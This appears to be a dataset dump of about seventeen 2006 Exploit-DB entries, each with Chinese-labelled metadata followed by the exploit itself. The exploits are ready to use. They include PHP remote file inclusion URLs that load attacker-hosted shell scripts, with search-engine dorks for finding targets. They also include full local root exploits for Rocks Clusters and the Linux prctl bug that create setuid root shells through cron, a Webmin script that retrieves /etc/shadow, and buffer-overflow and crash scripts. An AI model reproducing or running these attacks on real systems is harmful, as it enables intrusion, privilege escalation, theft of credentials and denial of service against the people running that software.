QLWD/code_shield huggingface dataset:
标题: CzarNews 1.14 - 'tpath' Remote File Inclusion EDB-ID: 2009 CVE: 2006-3685 2005-0859 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-13 漏洞利用脚本: =================================================================
CzarNews <= (tpath) Remote File Inclusion Exploit
================================================================
                                                                |
Critical Level : Dangerous                                       |
                                                                |
=================================================================
Dork :  "CzarNews v1.12 " | "CzarNews v1.13" | "CzarNews v1.14 "

http://sitename.com/news.php?tpath=http://SHELLURL.COM?
http://sitename.com/cn_config.php?tpath=http://SHELLURL.COM?

===============================================================================
Discoverd By : SHiKaA

Conatact : SHiKaA-[at]hotmail.com

GreetZ : Semsemmasr Black_Scorpion Medo_Ye7ya Kambaa  NANA METO7575 Gendiaaa Saw SnIpEr_Sa Masry OSA FEGLA 3amer
=================================================================


# milw0rm.com [2006-07-13] URL: https://www.exploit-db.com/exploits/2009
标题: Rocks Clusters 4.1 - 'umount-loop' Local Privilege Escalation EDB-ID: 2015 CVE: 2006-3693 类型: LOCAL 平台: LINUX 发布日期: 2006-07-15 漏洞利用脚本: #!/usr/bin/env python
##############################################################################
##  rocksumountdirty.py: Rocks release <=4.1 local root exploit
##  quick and nasty version of the exploit. make sure the . is writable and
##  you clean up afterwards. ;)
##
##  coded by: xavier@tigerteam.se [http://xavsec.blogspot.com]
##############################################################################
x=__import__('os');c=x.getcwd()
open('%s/x'%c, 'a').write("#!/bin/sh\ncp /bin/ksh %s/shell\nchmod a+xs %s/shell\nchown root.root %s/shell\n" % (c,c,c))
print "Rocks Clusters <=4.1 umount-loop local root exploit by xavier@tigerteam.se [http://xavsec.blogspot.com]"
x.system('umount-loop "\`sh %s/x\`"'%c);x.system("%s/shell"%c)

# milw0rm.com [2006-07-15] URL: https://www.exploit-db.com/exploits/2015
标题: Rocks Clusters 4.1 - 'mount-loop' Local Privilege Escalation EDB-ID: 2016 CVE: 2006-3693 类型: LOCAL 平台: LINUX 发布日期: 2006-07-15 漏洞利用脚本: #!/bin/sh
##############################################################################
##  rocksmountdirty.sh: Rocks release <=4.1 local root exploit
##  make sure 'mount-loop' is in your path for this to work.
##
##  coded by: xavier@tigerteam.se [http://xavsec.blogspot.com]
##############################################################################
echo "Rocks Clusters <=4.1 mount-loop local root exploit by xavier@tigerteam.se [http://xavsec.blogspot.com]"
echo "getting root.. goodluck"
mount-loop "null" "null" "null; python -c 'import os;os.setuid(0);os.setgid(0);os.execl(\"/bin/sh\", \"/usr/sbin/httpd\")'"

# milw0rm.com [2006-07-15] URL: https://www.exploit-db.com/exploits/2016
标题: SIPfoundry sipXtapi - 'CSeq' Remote Buffer Overflow (PoC) EDB-ID: 2000 CVE: 2006-3524 类型: DOS 平台: HARDWARE 发布日期: 2006-07-10 漏洞利用脚本: #!/usr/bin/perl
# PoC Exploit By mthumann@ernw.de
# Remote Buffer Overflow in sipXtapi

use IO::Socket;
#use strict;


print "sipXtapi Exploit by Michael Thumann \n\n";

if (not $ARGV[0]) {
        print "Usage: sipx.pl <host>\n";
exit;}

$target=$ARGV[0];
my $source ="127.0.0.1";
my $target_port = 5060;
my $user ="bad";
my $eip="\x41\x41\x41\x41";
my $cseq =
"\x31\x31\x35\x37\x39\x32\x30\x38".
"\x39\x32\x33\x37\x33\x31\x36\x31".
"\x39\x35\x34\x32\x33\x35\x37\x30".
$eip;
my $packet =<<END;
INVITE sip:user\@$source SIP/2.0\r
To: <sip:$target:$target_port>\r
Via: SIP/2.0/UDP $target:3277\r
From: "moz"<sip:$target:3277>\r
Call-ID: 3121$target\r
CSeq: $cseq\r
Max-Forwards: 70\r
Contact: <sip:$source:5059>\r
\r
END

print "Sending Packet to: " . $target . "\n\n";
socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));
my $ipaddr = inet_aton($target);
my $sendto = sockaddr_in($target_port,$ipaddr);
send(PING, $packet, 0, $sendto) == length($packet) or die "cannot send to $target : $target_port : $!\n";
print "Done.\n";

#EoF

# milw0rm.com [2006-07-10] URL: https://www.exploit-db.com/exploits/2000
标题: Mambo Component SimpleBoard 1.1.0 - Remote File Inclusion EDB-ID: 1994 CVE: 2006-3528 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-08 漏洞利用脚本: Bug Found by h4ntu [http://h4ntu.com] #batamhacker crew
Another Mambo component remote inclusion vulneribility

download : http://mamboxchange.com/frs/download.php/6920/Simpleboard-1.1.0-Stable.zip
bug found in file file_upload.php :

require_once("$sbp/sb_helpers.php");
inject :
http://website.com/components/com_simpleboard/image_upload.php?sbp=[evil_script]


Greetz : Baylaw, Reel, JoySolutions, K-159, SaMuR4i_X, SolpoT, Nugelo,
and all #batamhacker [at] dalnet crew, #mardongan, #motha, #papmahackerlink 

# milw0rm.com [2006-07-08] URL: https://www.exploit-db.com/exploits/1994
标题: Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (2) EDB-ID: 2005 CVE: 2006-2451 类型: LOCAL 平台: LINUX 发布日期: 2006-07-12 漏洞利用脚本: /* Linux >= 2.6.13 prctl kernel exploit
 *
 * (C) Julien TINNES
 *
 * If you read the Changelog from 2.6.13 you've probably seen:
 *  [PATCH] setuid core dump
 * 
 * This patch mainly adds suidsafe to suid_dumpable sysctl but also a new per process,
 * user setable argument to PR_SET_DUMPABLE.
 * 
 * This flaw allows us to create a root owned coredump into any directory.
 * This is trivially exploitable.
 *
 */

#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <stdlib.h>
#include <time.h>

#define CROND "/etc/cron.d"
#define BUFSIZE 2048


struct rlimit myrlimit={RLIM_INFINITY, RLIM_INFINITY};

char crontemplate[]=
"#/etc/cron.d/core suid_dumpable exploit\n"
"SHELL=/bin/sh\n"
"PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n"
"#%s* * * * * root  chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %d\n";

char cronstring[BUFSIZE];
char fname[BUFSIZE];

struct timeval te;

void sh(int sn) {
 execl(fname, fname, (char *) NULL);
}
 

int main(int argc, char *argv[]) {

 int nw, pid;

 if (geteuid() == 0) {
  printf("[+] getting root shell\n");
  setuid(0);
  setgid(0);
  if (execl("/bin/sh", "/bin/sh", (char *) NULL)) {
   perror("[-] execle");
   return 1;
  }
 }

 printf("\nprctl() suidsafe exploit\n\n(C) Julien TINNES\n\n");

 /* get our file name */
 if (readlink("/proc/self/exe", fname, sizeof(fname)) == -1) {
  perror("[-] readlink");
  printf("This is not fatal, rewrite the exploit\n");
 }

 if (signal(SIGUSR1, sh) == SIG_ERR) {
  perror("[-] signal");
  return 1;
 }
 printf("[+] Installed signal handler\n");

 /* Let us create core files */
 setrlimit(RLIMIT_CORE, &myrlimit);
 if (chdir(CROND) == -1) {
  perror("[-] chdir");
  return 1;
 }

 /* exploit the flaw */
 if (prctl(PR_SET_DUMPABLE, 2) == -1) {
  perror("[-] prtctl");
  printf("Is you kernel version >= 2.6.13 ?\n");
  return 1;
 }

 printf("[+] We are suidsafe dumpable!\n");

 /* Forge the string for our core dump */
 nw=snprintf(cronstring, sizeof(cronstring), crontemplate, "\n", fname, fname, CROND"/core", getpid());
 if (nw >= sizeof(cronstring)) {
  printf("[-] cronstring is too small\n");
  return 1;
 }
 printf("[+] Malicious string forged\n");

 if ((pid=fork()) == -1) {
  perror("[-] fork");
  return 1;
 }

 if (pid == 0) {
  /* This is not the good way to do it ;) */
  sleep(120);
  exit(0);
 }

 /* SEGFAULT the child */
 printf("[+] Segfaulting child\n");
 if (kill(pid, 11) == -1) {
  perror("[-] kill");
  return 1;
 }
 if (gettimeofday(&te, NULL) == 0) 
  printf("[+] Waiting for exploit to succeed (~%ld seconds)\n", 60 - (te.tv_sec%60));
 sleep(120);

 printf("[-] It looks like the exploit failed\n");

 return 1;
}

// milw0rm.com [2006-07-12] URL: https://www.exploit-db.com/exploits/2005
标题: Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure EDB-ID: 1997 CVE: 2006-3392 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-07-09 漏洞利用脚本: <?php
/*
Name : Webmin / Usermin Arbitrary File Disclosure Vulnerability
Date :  2006-06-30
Patch : update to version 1.290
Advisory : http://securitydot.net/vuln/exploits/vulnerabilities/articles/17885/vuln.html
Coded by joffer , http://securitydot.net
*/

$host = $argv[1];
$port = $argv[2];
$http = $argv[3];
$file = $argv[4];
// CHECKING THE INPUT
if($host != "" && $port != "" && $http != "" && $file != "") {


$z = "/..%01";
for ($i=0;$i<60;$i++) {
        $z.="/..%01";
}

$target = $http."://".$host.":".$port."/unauthenticated".$z."/".$file."";

echo "Attacking ".$host."\n";
echo "---------------------------------\n";

// INITIALIZING CURL SESSION TO THE TARGET

$ch = curl_init();

curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $target);
curl_setopt ($ch, CURLOPT_TIMEOUT, '10');
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE);

$content = curl_exec($ch);
curl_close ($ch);

// CLOSING CURL

// ECHOING THE CONTENT OF THE $FILE
echo $content;

echo "---------------------------------\n";
echo "Coded by joffer , http://securitydot.net\n";

} else {
        // IF INPUT IS NOT CORRECT DISPLAY THE README
        echo "Usage php webmin.php HOST PORT HTTP/HTTPS FILE\n";
        echo "Example : php webmin.php localhost 10000 http /etc/shadow\n";
        echo "Coded by joffer , http://securitydot.net\n";
}

?>

# milw0rm.com [2006-07-09] URL: https://www.exploit-db.com/exploits/1997
标题: Sabdrimer PRO 2.2.4 - 'pluginpath' Remote File Inclusion EDB-ID: 1996 CVE: 2006-3520 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-09 漏洞利用脚本: VIRANGAR SECURITY TEAM
Discovered By : A.nosrati
 www.virangar.org (Public)
 www.virangar.net (Priv8)
 Mail: info[at]virangar.net

Sabdrimer PRO (v.2.2.4 ) Remote File Include Vulnerability
Google Dork : "© Sabdrimer CMS"
bug found in file : advanced1.php
web Site : http://sabdrimer.ru
Remote : Yes
Critical Level : Dangerous

http://www.website.com/skins/advanced/advanced1.php?pluginpath[0]=[evil_script]
Important :register_globals=On

-----------------------
Greetz : All #Virangar Members
I work in the dark 
I Get what I want 

# milw0rm.com [2006-07-09] URL: https://www.exploit-db.com/exploits/1996
标题: Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (1) EDB-ID: 2004 CVE: 2006-2451 类型: LOCAL 平台: LINUX 发布日期: 2006-07-11 漏洞利用脚本: /*****************************************************/
/* Local r00t Exploit for:                           */
/* Linux Kernel PRCTL Core Dump Handling             */
/* ( BID 18874 / CVE-2006-2451 )                     */
/* Kernel 2.6.x  (>= 2.6.13 && < 2.6.17.4)           */
/* By:                                               */
/* - dreyer    <luna@aditel.org>   (main PoC code)   */
/* - RoMaNSoFt <roman@rs-labs.com> (local root code) */
/*                                  [ 10.Jul.2006 ]  */
/*****************************************************/

#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>

char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";

int main() { 
    int child;
    struct rlimit corelimit;
    printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
    printf("By: dreyer & RoMaNSoFt\n");
    printf("[ 10.Jul.2006 ]\n\n");

    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &corelimit);

    printf("[*] Creating Cron entry\n");

    if ( !( child = fork() )) {
        chdir("/etc/cron.d");
        prctl(PR_SET_DUMPABLE, 2);
        sleep(200);
        exit(1);
    }

    kill(child, SIGSEGV);

    printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
    sleep(62);

    printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n");
    system("/tmp/sh -i");
}

// milw0rm.com [2006-07-11] URL: https://www.exploit-db.com/exploits/2004
标题: Mambo Component com_forum 1.2.4RC3 - Remote File Inclusion EDB-ID: 1995 CVE: 2006-7208 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-08 漏洞利用脚本: Bug Found by h4ntu [http://h4ntu.com] #batamhacker crew
Another Mambo component remote inclusion vulneribility

download : http://mamboxchange.com/frs/download.php/6873/phpbb_component1.2.4RC3.zip

bug found in file : download.php

define('IN_PHPBB', true);
//$phpbb_root_path = './';
include($phpbb_root_path . 'extension.inc ');
include($phpbb_root_path . 'common.'.$phpEx);


google dork: inurl:com_forum

http://[site]/[path]/components/com_forum/download.php?phpbb_root_path=[attacker]

Greetz : Baylaw, Reel, JoySolutions, K-159, SaMuR4i_X, SolpoT, Nugelo,
and all #batamhacker [at] dalnet crew, #mardongan, #motha, #papmahackerlink

# milw0rm.com [2006-07-08] URL: https://www.exploit-db.com/exploits/1995
标题: MyPHP CMS 0.3 - 'domain' Remote File Inclusion EDB-ID: 1983 CVE: 2006-3478 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-05 漏洞利用脚本: ---------------------------------------------------------------------------
MyPHP CMS <= 0.3 (domain) Remote File Include Vulnerabilities
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RoSecurityGroup.net :
Remote : Yes
Critical Level : Dangerous

---------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : MyPHP CMS
version : latest version [ 0.3 ]
URL : http://sourceforge.net/projects/myphpcms

------------------------------------------------------------------
Exploit:
~~~~~~~

Variable $domain not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.


# http://www.site.com/[path]/styles/default/global_header.php?installed=23&domain=[Evil_Script]

---------------------------------------------------------------------------

Solution :
~~~~~~~~~

declare variabel $domain
---------------------------------------------------------------------------


Shoutz:
~~~~~

# Special greetz to my good friend [Oo]
# To all members of h4cky0u.org ;) and RST [ hTTp://RoSecurityGroup.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RoSecurityGroup.net
/*

-------------------------------- [ EOF] ----------------------------------

# Further Notes
if ( !isset ( $installed ) )
{
        header ( "Location: install_sql.php" );
}

added installed to the get request for the vulnerability to work correctly.

/str0ke

# milw0rm.com [2006-07-05] URL: https://www.exploit-db.com/exploits/1983
标题: ImgSvr 0.6.5 - POST Denial of Service EDB-ID: 1980 CVE: 2006-3546 类型: DOS 平台: WINDOWS 发布日期: 2006-07-04 漏洞利用脚本: #!/usr/bin/perl
##Proof of concept.
#################################################################################
#Credit's:to n00b for finding this bug.
#
#Afected :ImgSvr.exe
#
#Download softwear: http://freshmeat.net/projects/imgsvr/
#
#Crash the server with overly long http post request..
#
#Main site of affected product. http://freshmeat.net/projects/imgsvr/
#Sending an overly long post request will crash the server with the following.
#Acsess violation..
#Tested :win xp sp1..
#
#error:500 Server closed connection without sending any data back
#this is a error msg will receive on successful exploitation.
#################################################################################
##(e7c.168): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=41414142 ebx=00000000 ecx=00000000 edx=00000002 esi=41414141 edi=00000000
# eip=006bf546 esp=022ab1c4 ebp=022ab628 iopl=0         nv up ei pl nz na po nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010206
# *** WARNING: Unable to verify checksum for C:\Program Files\Imgsvr\imgsvr.exe
# *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Imgsvr\imgsvr.exe
# imgsvr+0x2bf546:
# 006bf546 881c30           mov     [eax+esi],bl            ds:0023:82828283=??
###################################################################################
#
# Usage: imageserv.pl change to your ip 127.0.0.1 < vic ip port 1235
###################################################################################


use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my $host = shift or die("insert a target");

my $req = HTTP::Request->new(POST => "http://$host:80/" . A x 1500);

$req->content_type('application/x-www-form-urlencoded');
$req->content('match=www&errors=0');

my $res = $ua->request($req);
print $res->as_string;

# milw0rm.com [2006-07-04] URL: https://www.exploit-db.com/exploits/1980
标题: WonderEdit Pro CMS (template_path) - Remote File Inclusion EDB-ID: 1982 CVE: 2006-3422 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-04 漏洞利用脚本: --------------------------------------------------------------------------------

Title : WonderEdit Pro CMS <= Pro version Remote File Include Vulnerabilities

###############################################################################

Discovered By OLiBekaS

-----------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Web Site CMS
version : pro version
Description: this default cms for all hosting in Wonder hosting (http://www.12wonderhosting.com/) maybe :)
URL : http://www.wonderedit.com

-----------------------------------------------------------------------------


dork        : "powered by WonderEdit Pro"

Exploit     :  

http://[target]/[path]/template/rwb/user_bottom.php?config[template_path]=http://[attacker]/cmd.txt?&cmd=ls
http://[target]/[path]/template/gwb/user_bottom.php?config[template_path]=http://[attacker]/cmd.txt?&cmd=ls              
               

------------------------------------------------------------------------------

this work for all template in WonderEdit Pro CMS and use "rwb" for or "gbw" default attack, and vulner to other tempalte to like
"blues", "bluwhi", "grns", and other.

------------------------------------------------------------------------------


greatz:
~~~~~

# Special greetz to my master effex and bEdAh`oTaK ( thank man )
# To all members of #papmahackerlink, cgibin, weleh, skulmatic, sikunYuk, brokencode, ulga, SaMuR4i_X, bigmaster, yugo^cloudy. and other

-------------------------------------------------------------------------------


Contact:
~~~~~~~

Nick: OLiBekaS
E-mail: olibekas[at]gmail[dot]Com
Homepage: http://bekas.6te.net

--------------------------------- [ eof ] ---------------------------------------

# milw0rm.com [2006-07-04] URL: https://www.exploit-db.com/exploits/1982
标题: Microsoft Internet Explorer 6 - Table.Frameset NULL Dereference EDB-ID: 1989 CVE: 2006-3471 类型: DOS 平台: WINDOWS 发布日期: 2006-07-07 漏洞利用脚本: <!--
http://browserfun.blogspot.com/

The following bug was tested on the latest version of Internet Explorer 6 
on a fully-patched Windows XP SP2 system. This bug was found by Aviv Raff 
using the DOM-Hanoi fuzzer script. DOM-Hanoi works by building trees of 
every combination of elements up to the specifed depth. An alternate PoC 
could use plain HTML instead of javascript.

var a = document.createElement('table');
var b = document.createElement('frameset');
a.appendChild(b);

eax=00000000 ebx=01884710 ecx=01886c60
edx=00000027 esi=0013aeb0 edi=01884730
eip=7dc995ad esp=0013ae88 ebp=0013ae9c6
mshtml!CTreePos::NextTreePos+0x23:
7dc995ad f60010 test byte ptr [eax],0x10 ds:0023:00000000=??

-->

<html><body><script>

// MoBB Demonstration
function Demo() {
 var a = document.createElement('table');
 var b = document.createElement('frameset');
 a.appendChild(b);
}
</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>


</body></html>

# milw0rm.com [2006-07-07] URL: https://www.exploit-db.com/exploits/1989
标题: Mambo Module galleria 1.0b - Remote File Inclusion EDB-ID: 1981 CVE: 2006-3396 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-04 漏洞利用脚本: Title       : galleria <= 1.0 Remote File InclusionVulnerability
-
URL         : http://binarydigit.at/
-
Author      : sikunYuk
-
Mail        : ineal[at]gmail.com
-
exploit     : http://[target]/[path]/components/com_galleria/galleria.html.php?mosConfig_absolute_path=http://[f*ckscript]/cmd.txt?&cmd=
-
greatz      : agoes,skulmatic,Olibekas,Vitux,weleh,arioo Powered by #pisslovcrew,#papmahackerlink,#tigapanah,#yogyahacker
-

# milw0rm.com [2006-07-04] URL: https://www.exploit-db.com/exploits/1981
标题: Quake 3 Engine Client (Windows x86) - CS_ITEms Remote Overflow EDB-ID: 1977 CVE: 2006-3401 2006-3325 类型: DOS 平台: WINDOWS_X86 发布日期: 2006-07-02 漏洞利用脚本: /*
Quake 3 Engine Client CS_ITEMS Remote Stack Overflow Exploit (Win32)
Written by RunningBon

E-Mail: runningbon@gmail.com
IRC: irc.rizon.net #kik

This is a DLL, which gets injected into the server exe.

You will need Microsoft Detours library to compile this exploit (http://research.microsoft.com/sn/detours/)
I recommend you compile this with Microsoft Visual C++

Use this responsibly. You are responsible for any damage you cause using this.

Info:
The engine strips bytes >127, '%', and '\0' before it overflows, so you will need encoded shellcode and an EIP which doesn't contain any of these characters.
*/

#include <stdio.h>
#include <windows.h>
#include <detours.h>

struct VersionStruct {
 char *pVersionString;
 DWORD dwVersionStringAddr;
 DWORD dwSetConfigstringAddr;
 DWORD dwFillSize;
 DWORD dwNewEIP;
 int iCS_ITEM;
};

VersionStruct Versions[] = {
 { "Quake 3: Arena", 0x4C1B94, 0x431E70, 836, 0x13333337, 27 }, //Quake 3 Arena 1.32c
 { "Quake 3: Arena", 0x4D2184, 0x438610, 836, 0x13333337, 27 }, //Quake 3 Arena 1.32b
};

VersionStruct *pVersion = NULL;

void (*orig_SV_SetConfigstring)(int iIndex, const char *pVal);
void SV_SetConfigstring_Hook(int iIndex, const char *pVal)
{
 char szString[4096];
 char *pPtr = NULL;

 if(pVersion != NULL)
 {
  if(iIndex == pVersion->iCS_ITEM)
  {
   memset(szString, 0, sizeof(szString));
   pPtr = &szString[0];

   memset(pPtr, 'a', pVersion->dwFillSize);
   pPtr += pVersion->dwFillSize;

   memcpy(pPtr, (LPVOID)&pVersion->dwNewEIP, sizeof(DWORD));
   pPtr += sizeof(DWORD);

   orig_SV_SetConfigstring(iIndex, szString);

   return;
  }
 }

 orig_SV_SetConfigstring(iIndex, pVal);
}

bool WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpReserved)
{
 if(dwReason == DLL_PROCESS_ATTACH)
 {
  for(int i = 0; i < sizeof(Versions) / sizeof(Versions[0]); i++)
  {
   if(!stricmp((char*)Versions[i].dwVersionStringAddr, Versions[i].pVersionString))
   {
    pVersion = &Versions[i];
    break;
   }
  }

  if(pVersion == NULL)
  {
   //Could not find correct version
   return 1;
  }

  DetourFunction((BYTE*)pVersion->dwSetConfigstringAddr, (BYTE*)SV_SetConfigstring_Hook);
  _asm mov [orig_SV_SetConfigstring], eax
 }

 return 1;
}

// milw0rm.com [2006-07-02] URL: https://www.exploit-db.com/exploits/1977